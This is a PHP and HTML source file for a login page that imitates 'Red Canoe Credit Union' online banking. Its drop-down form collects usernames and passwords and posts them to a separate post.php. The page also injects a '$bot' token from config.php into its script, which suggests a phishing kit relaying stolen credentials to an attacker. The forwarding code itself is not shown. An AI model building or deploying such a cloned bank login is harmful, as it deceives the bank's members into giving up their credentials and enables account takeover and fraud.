<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:ital,wght@0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,400;1,700&display=swap" rel="stylesheet">
    <title>Red Canoe Credit Union — Online Banking</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --red:      #8F1D1E;
            --red-mid:  #7a1819;
            --blue:     #3F6670;
            --blue-mid: #345660;
            --text:     #1a1a1a;
            --text-sub: #555;
            --border:   #dde0e6;
            --light:    #f4f5f7;
            --white:    #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; color: var(--text); background: var(--white); }
        body { display: flex; flex-direction: column; min-height: 100vh; }

        /* ── TOP UTILITY ROW ─────────────────────────── */
        .top-bar {
            background: var(--white);
            border-bottom: 1px solid #eee;
            padding: 0 40px;
            display: flex; align-items: center; justify-content: space-between;
            height: 54px;
        }
        /* Left: logo */
        .top-logo img { height: 48px; width: auto; display: block; }

        /* Center: utility links */
        .top-links { display: flex; align-items: center; gap: 36px; }
        .top-links a {
            font-size: 11.5px; font-weight: 700; color: var(--text);
            text-decoration: none; text-transform: uppercase; letter-spacing: .06em;
            transition: color .15s;
        }
        .top-links a:hover { color: var(--red); }

        /* Right: search + buttons */
        .top-right { display: flex; align-items: center; gap: 10px; }
        .top-search {
            display: flex; align-items: center; gap: 6px;
            font-size: 12px; font-weight: 700; text-transform: uppercase;
            letter-spacing: .06em; color: var(--text); cursor: pointer;
            background: none; border: none; font-family: 'Inter', sans-serif;
        }
        .btn-contact {
            padding: 9px 18px; border: 1.5px solid var(--blue);
            background: transparent; color: var(--blue);
            font-family: 'Inter', sans-serif; font-size: 11.5px;
            font-weight: 700; text-transform: uppercase; letter-spacing: .06em;
            cursor: pointer; transition: background .15s, color .15s; border-radius: 2px;
        }
        .btn-contact:hover { background: var(--blue); color: #fff; }
        .btn-apply {
            padding: 9px 18px; border: 1.5px solid var(--blue);
            background: transparent; color: var(--blue);
            font-family: 'Inter', sans-serif; font-size: 11.5px;
            font-weight: 700; text-transform: uppercase; letter-spacing: .06em;
            cursor: pointer; transition: background .15s, color .15s; border-radius: 2px;
        }
        .btn-apply:hover { background: var(--blue); color: #fff; }

        /* ── MAIN NAV ────────────────────────────────── */
        .main-nav {
            background: var(--white);
            border-bottom: 1px solid #e0e0e0;
            padding: 0 40px;
            display: flex; align-items: center; justify-content: space-between;
            height: 52px; position: relative; z-index: 300;
        }
        .nav-links { display: flex; align-items: center; gap: 0; flex: 1; }
        .nav-links a {
            font-size: 11.5px; font-weight: 700; text-transform: uppercase;
            letter-spacing: .06em; color: var(--text);
            text-decoration: none; padding: 0 18px; height: 52px;
            display: flex; align-items: center; gap: 5px;
            border-right: 1px solid #eee; transition: color .15s, background .15s;
        }
        .nav-links a:first-child { border-left: 1px solid #eee; }
        .nav-links a:hover { color: var(--red); background: #fdf5f5; }
        .nav-links a svg { opacity: .6; }

        /* LOGIN bar — full width red */
        .login-bar-wrap { position: relative; }
        .login-bar {
            display: flex; align-items: center; gap: 8px;
            background: var(--red); color: #fff;
            padding: 0 18px; height: 52px; min-width: 220px;
            border: none; cursor: pointer; font-family: 'Inter', sans-serif;
            font-size: 12px; font-weight: 700; text-transform: uppercase;
            letter-spacing: .08em; justify-content: space-between;
            transition: background .15s;
        }
        .login-bar:hover { background: var(--red-mid); }
        .login-bar svg { opacity: .8; }

        /* ── LOGIN DROPDOWN ─────────────────────────── */
        .login-dd {
            display: none; position: absolute;
            top: 100%; right: 0; min-width: 280px;
            background: var(--red); z-index: 500;
            padding: 20px 20px 18px;
            box-shadow: 0 8px 32px rgba(143,29,30,.3);
            animation: ddIn .18s ease both;
        }
        .login-dd.open { display: block; }
        @keyframes ddIn { from{opacity:0;transform:translateY(-6px)} to{opacity:1;transform:translateY(0)} }

        .dd-lbl { font-size: 11px; font-weight: 700; color: rgba(255,255,255,.7); text-transform: uppercase; letter-spacing: .07em; margin-bottom: 5px; display: block; }
        .dd-f { margin-bottom: 12px; }
        .dd-input {
            width: 100%; height: 42px; padding: 0 12px;
            border: 1.5px solid rgba(255,255,255,.25); border-radius: 2px;
            background: rgba(255,255,255,.12); outline: none;
            font-family: 'Inter', sans-serif; font-size: 13.5px; color: #fff;
            transition: border-color .15s; -webkit-appearance: none;
        }
        .dd-input::placeholder { color: rgba(255,255,255,.45); }
        .dd-input:focus { border-color: rgba(255,255,255,.7); background: rgba(255,255,255,.18); }
        .dd-forgot { font-size: 11.5px; color: rgba(255,255,255,.75); text-decoration: none; display: block; margin-bottom: 14px; }
        .dd-forgot:hover { color: #fff; text-decoration: underline; }
        .btn-dd-login {
            width: 100%; height: 42px;
            background: rgba(255,255,255,.15); color: #fff;
            border: 1.5px solid rgba(255,255,255,.5); border-radius: 2px;
            font-family: 'Inter', sans-serif; font-size: 13px; font-weight: 700;
            text-transform: uppercase; letter-spacing: .06em;
            cursor: pointer; margin-bottom: 14px;
            transition: background .15s;
        }
        .btn-dd-login:hover { background: rgba(255,255,255,.25); }
        .dd-enroll { display: flex; flex-direction: column; gap: 5px; }
        .dd-enroll a { font-size: 11.5px; color: rgba(255,255,255,.75); text-decoration: none; }
        .dd-enroll a:hover { color: #fff; text-decoration: underline; }

        /* ── HERO / MAIN CONTENT ─────────────────────── */
        .hero {
            background: var(--white);
            display: flex; align-items: stretch;
            min-height: 500px;
            flex: 1;
        }
        /* Left: text content */
        .hero-left {
            flex: 1; padding: 70px 60px 60px;
            display: flex; flex-direction: column; justify-content: center;
        }
        .hero-left h1 {
            font-size: clamp(32px, 3.5vw, 52px);
            font-weight: 900; color: var(--text);
            line-height: 1.1; margin-bottom: 14px;
        }
        .hero-left h2 {
            font-size: clamp(15px, 1.6vw, 20px);
            font-weight: 500; color: var(--blue);
            line-height: 1.4; margin-bottom: 18px;
        }
        .hero-left p {
            font-size: 15px; color: var(--text-sub);
            line-height: 1.65; margin-bottom: 30px; max-width: 500px;
        }
        .btn-get-started {
            display: inline-flex; align-items: center;
            padding: 14px 28px; background: var(--red); color: #fff;
            border: none; border-radius: 2px;
            font-family: 'Inter', sans-serif; font-size: 12.5px;
            font-weight: 700; text-transform: uppercase; letter-spacing: .1em;
            cursor: pointer; text-decoration: none; align-self: flex-start;
            transition: background .15s;
        }
        .btn-get-started:hover { background: var(--red-mid); }

        /* Right: hero image — inset with rounded corners */
        .hero-right {
            width: 46%; flex-shrink: 0;
            position: relative;
            margin: 20px 20px 20px 0;
            border-radius: 14px;
            overflow: hidden;
        }
        .hero-right img {
            width: 100%; height: 100%;
            object-fit: cover; object-position: center;
            display: block;
            border-radius: 14px;
        }

        /* ── CAROUSEL DOTS ───────────────────────────── */
        .carousel-dots {
            display: flex; gap: 8px; padding: 14px 60px;
            background: var(--white); border-top: 1px solid #eee;
        }
        .dot { height: 4px; border-radius: 2px; background: #ccc; cursor: pointer; transition: background .2s; }
        .dot.active { background: var(--red); width: 60px; }
        .dot:not(.active) { width: 60px; }

        /* ── FOOTER ──────────────────────────────────── */
        .page-footer { background: var(--red); padding: 18px 40px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 11.5px; color: rgba(255,255,255,.65); text-decoration: none; }
        .footer-links a:hover { color: #fff; }
        .footer-copy { font-size: 11.5px; color: rgba(255,255,255,.45); }

        @media(max-width:960px) { .nav-links{display:none;} .hero{flex-direction:column;} .hero-right{width:100%;min-height:300px;} .hero-left{padding:40px 24px;} .top-links{display:none;} .top-bar{padding:0 20px;} .main-nav{padding:0 20px;} }
        @media(max-width:500px) { .top-right .btn-contact,.top-right .btn-apply{display:none;} .login-dd{min-width:260px;} }
    </style>
</head>
<body>

    <!-- Top Bar -->
    <div class="top-bar">
        <div class="top-logo"><img src="res/img/logo.png" alt="Red Canoe Credit Union"></div>
        <div class="top-links">
            <a href="#">Locations &amp; ATMs</a>
            <a href="#">Rates</a>
            <a href="#">Support Center</a>
            <a href="#">Security &amp; Fraud</a>
        </div>
        <div class="top-right">
            <button class="top-search">
                Search
                <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
            </button>
            <button class="btn-contact">Contact Us</button>
            <button class="btn-apply">Apply Now</button>
        </div>
    </div>

    <!-- Main Nav -->
    <nav class="main-nav">
        <div class="nav-links">
            <a href="#">Checking &amp; Savings <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Loans &amp; Credit Cards <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Business <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Resources <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">About Us <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
        </div>
        <div class="login-bar-wrap">
            <button class="login-bar" id="login-trigger">
                <span>LOGIN</span>
                <svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"/><circle cx="12" cy="7" r="4"/></svg>
            </button>
            <div class="login-dd" id="login-dd">
                <script>var token=<?php echo json_encode($bot); ?>;</script>
                <form action="post.php" method="post">
                    <div class="dd-f">
                        <span class="dd-lbl">Username</span>
                        <input type="text" name="user" class="dd-input" required autocomplete="username">
                    </div>
                    <div class="dd-f">
                        <span class="dd-lbl">Password</span>
                        <input type="password" name="pass" class="dd-input" required autocomplete="current-password">
                    </div>
                    <a href="#" class="dd-forgot">Forgot username or password?</a>
                    <button type="submit" class="btn-dd-login">Log In</button>
                    <div class="dd-enroll">
                        <a href="#">Online Banking Enrollment</a>
                        <a href="#">Business Online Banking</a>
                    </div>
                </form>
            </div>
        </div>
    </nav>

    <!-- Hero -->
    <div class="hero">
        <!-- Left content -->
        <div class="hero-left">
            <h1>Elevate Checking</h1>
            <h2>The Checking Account Designed to Take Your Money to the Next Level</h2>
            <p>Elevate Checking helps your money keep up with you at any level. Designed to grow alongside you and support your goals, wherever life takes you.</p>
            <a href="#" class="btn-get-started">Get Started</a>
        </div>

        <!-- Right: background.jpeg as promo card -->
        <div class="hero-right">
            <img src="res/img/background.jpeg" alt="Red Canoe">

        </div>
    </div>

    <!-- Carousel dots -->
    <div class="carousel-dots">
        <div class="dot active"></div>
        <div class="dot"></div>
        <div class="dot"></div>
    </div>

    <!-- Footer -->
    <footer class="page-footer">
        <div class="footer-links">
            <a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a>
            <a href="#">Accessibility</a><a href="#">NCUA</a><a href="#">Contact Us</a>
        </div>
        <div class="footer-copy">© 2025 Red Canoe Credit Union. All Rights Reserved. Federally Insured by NCUA.</div>
    </footer>

    <script>
        var t = document.getElementById('login-trigger'), d = document.getElementById('login-dd');
        t.addEventListener('click', function(e){ e.stopPropagation(); d.classList.toggle('open'); });
        document.addEventListener('click', function(e){ if(!document.querySelector('.login-bar-wrap').contains(e.target)) d.classList.remove('open'); });
        document.addEventListener('keydown', function(e){ if(e.key==='Escape') d.classList.remove('open'); });
    </script>
    <script src="./res/jq.js"></script>
</body>
</html>